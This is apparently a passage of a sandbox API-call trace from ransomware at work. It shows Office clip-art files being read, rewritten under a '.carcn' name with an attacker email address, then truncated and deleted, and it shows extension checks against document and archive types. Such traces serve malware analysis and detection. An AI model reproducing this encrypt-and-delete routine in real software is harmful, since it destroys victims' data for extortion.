CloseHandle (hObject=0x348) returned 1 [0294.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0294.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.615] lstrlenW (lpString=".doc") returned 4 [0294.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.615] lstrlenW (lpString=".docx") returned 5 [0294.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.615] lstrlenW (lpString=".pdf") returned 4 [0294.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.616] lstrlenW (lpString=".xls") returned 4 [0294.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.616] lstrlenW (lpString=".xlsx") returned 5 [0294.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.616] lstrlenW (lpString=".ppt") returned 4 [0294.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.616] lstrlenW (lpString=".zip") returned 4 [0294.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.616] lstrlenW (lpString=".rar") returned 4 [0294.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.616] lstrlenW (lpString=".bz2") returned 4 [0294.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.616] lstrlenW (lpString=".7z") returned 3 [0294.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.616] lstrlenW (lpString=".dbf") returned 4 [0294.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.616] lstrlenW (lpString=".1cd") returned 4 [0294.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.616] lstrlenW (lpString=".jpg") returned 4 [0294.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.617] lstrlenW (lpString=".doc") returned 4 [0294.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.617] lstrlenW (lpString=".docx") returned 5 [0294.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.617] lstrlenW (lpString=".pdf") returned 4 [0294.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.617] lstrlenW (lpString=".xls") returned 4 [0294.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.617] lstrlenW (lpString=".xlsx") returned 5 [0294.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.617] lstrlenW (lpString=".ppt") returned 4 [0294.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.617] lstrlenW (lpString=".zip") returned 4 [0294.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.617] lstrlenW (lpString=".rar") returned 4 [0294.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.617] lstrlenW (lpString=".bz2") returned 4 [0294.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.617] lstrlenW (lpString=".7z") returned 3 [0294.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.617] lstrlenW (lpString=".dbf") returned 4 [0294.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.617] lstrlenW (lpString=".1cd") returned 4 [0294.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0294.617] lstrlenW (lpString=".jpg") returned 4 [0294.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.618] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.618] lstrlenW (lpString="AN04117_.WMF") returned 12 [0294.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.618] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=6060) returned 1 [0294.618] CloseHandle (hObject=0x348) returned 1 [0294.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0294.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.619] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.619] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.620] GetLastError () returned 0x0 [0294.620] ReadFile (in: hFile=0x348, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x17ac, lpOverlapped=0x0) returned 1 [0294.621] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x17b0, lpOverlapped=0x0) returned 1 [0294.622] ReadFile (in: hFile=0x348, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.622] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.622] SetEndOfFile (hFile=0x350) returned 1 [0294.623] CloseHandle (hObject=0x350) returned 1 [0294.623] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.623] SetEndOfFile (hFile=0x348) returned 1 [0294.624] CloseHandle (hObject=0x348) returned 1 [0294.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0294.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.625] lstrlenW (lpString=".doc") returned 4 [0294.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.625] lstrlenW (lpString=".docx") returned 5 [0294.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.625] lstrlenW (lpString=".pdf") returned 4 [0294.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.625] lstrlenW (lpString=".xls") returned 4 [0294.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.625] lstrlenW (lpString=".xlsx") returned 5 [0294.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.625] lstrlenW (lpString=".ppt") returned 4 [0294.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.625] lstrlenW (lpString=".zip") returned 4 [0294.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.625] lstrlenW (lpString=".rar") returned 4 [0294.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.625] lstrlenW (lpString=".bz2") returned 4 [0294.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.625] lstrlenW (lpString=".7z") returned 3 [0294.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.625] lstrlenW (lpString=".dbf") returned 4 [0294.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.626] lstrlenW (lpString=".1cd") returned 4 [0294.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.626] lstrlenW (lpString=".jpg") returned 4 [0294.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.626] lstrlenW (lpString=".doc") returned 4 [0294.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.626] lstrlenW (lpString=".docx") returned 5 [0294.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.626] lstrlenW (lpString=".pdf") returned 4 [0294.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.626] lstrlenW (lpString=".xls") returned 4 [0294.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.626] lstrlenW (lpString=".xlsx") returned 5 [0294.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.626] lstrlenW (lpString=".ppt") returned 4 [0294.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.626] lstrlenW (lpString=".zip") returned 4 [0294.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.626] lstrlenW (lpString=".rar") returned 4 [0294.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.626] lstrlenW (lpString=".bz2") returned 4 [0294.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.626] lstrlenW (lpString=".7z") returned 3 [0294.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.627] lstrlenW (lpString=".dbf") returned 4 [0294.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.627] lstrlenW (lpString=".1cd") returned 4 [0294.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0294.627] lstrlenW (lpString=".jpg") returned 4 [0294.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.627] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.627] lstrlenW (lpString="AN04134_.WMF") returned 12 [0294.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.627] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3416) returned 1 [0294.627] CloseHandle (hObject=0x348) returned 1 [0294.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0294.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0294.628] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.628] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.629] GetLastError () returned 0x0 [0294.629] ReadFile (in: hFile=0x348, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xd58, lpOverlapped=0x0) returned 1 [0294.630] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xd60, lpOverlapped=0x0) returned 1 [0294.631] ReadFile (in: hFile=0x348, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.631] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.631] SetEndOfFile (hFile=0x350) returned 1 [0294.631] CloseHandle (hObject=0x350) returned 1 [0294.631] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.631] SetEndOfFile (hFile=0x348) returned 1 [0294.632] CloseHandle (hObject=0x348) returned 1 [0294.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0294.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0294.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0294.633] lstrlenW (lpString=".doc") returned 4 [0294.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.633] lstrlenW (lpString=".docx") returned 5 [0294.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.634] lstrlenW (lpString=".pdf") returned 4 [0294.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.634] lstrlenW (lpString=".xls") returned 4 [0294.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.634] lstrlenW (lpString=".xlsx") returned 5 [0294.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.634] lstrlenW (lpString=".ppt") returned 4 [0294.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0294.634] lstrlenW (lpString=".zip") returned 4 [0294.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.634] lstrlenW (lpString=".rar") returned 4 [0294.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.634] lstrlenW (lpString=".bz2") returned 4 [0294.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.634] lstrlenW (lpString=".7z") returned 3 [0294.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0294.634] lstrlenW (lpString=".dbf") returned 4 [0294.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0295.166] lstrlenW (lpString=".1cd") returned 4 [0295.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0295.166] lstrlenW (lpString=".jpg") returned 4 [0295.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0295.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0295.166] lstrlenW (lpString=".doc") returned 4 [0295.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.166] lstrlenW (lpString=".docx") returned 5 [0295.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.166] lstrlenW (lpString=".pdf") returned 4 [0295.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.166] lstrlenW (lpString=".xls") returned 4 [0295.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.166] lstrlenW (lpString=".xlsx") returned 5 [0295.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.166] lstrlenW (lpString=".ppt") returned 4 [0295.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0295.167] lstrlenW (lpString=".zip") returned 4 [0295.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.167] lstrlenW (lpString=".rar") returned 4 [0295.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.167] lstrlenW (lpString=".bz2") returned 4 [0295.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.167] lstrlenW (lpString=".7z") returned 3 [0295.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0295.167] lstrlenW (lpString=".dbf") returned 4 [0295.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0295.167] lstrlenW (lpString=".1cd") returned 4 [0295.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0295.167] lstrlenW (lpString=".jpg") returned 4 [0295.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.167] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.167] lstrlenW (lpString="AN04369_.WMF") returned 12 [0295.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.168] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4808) returned 1 [0295.168] CloseHandle (hObject=0x358) returned 1 [0295.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0295.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0295.169] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.169] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0295.169] GetLastError () returned 0x0 [0295.169] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0295.170] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0295.172] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.172] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.172] SetEndOfFile (hFile=0x388) returned 1 [0295.172] CloseHandle (hObject=0x388) returned 1 [0295.172] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.172] SetEndOfFile (hFile=0x358) returned 1 [0295.173] CloseHandle (hObject=0x358) returned 1 [0295.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0295.174] lstrlenW (lpString="C:\\Program Files\\Microsoft 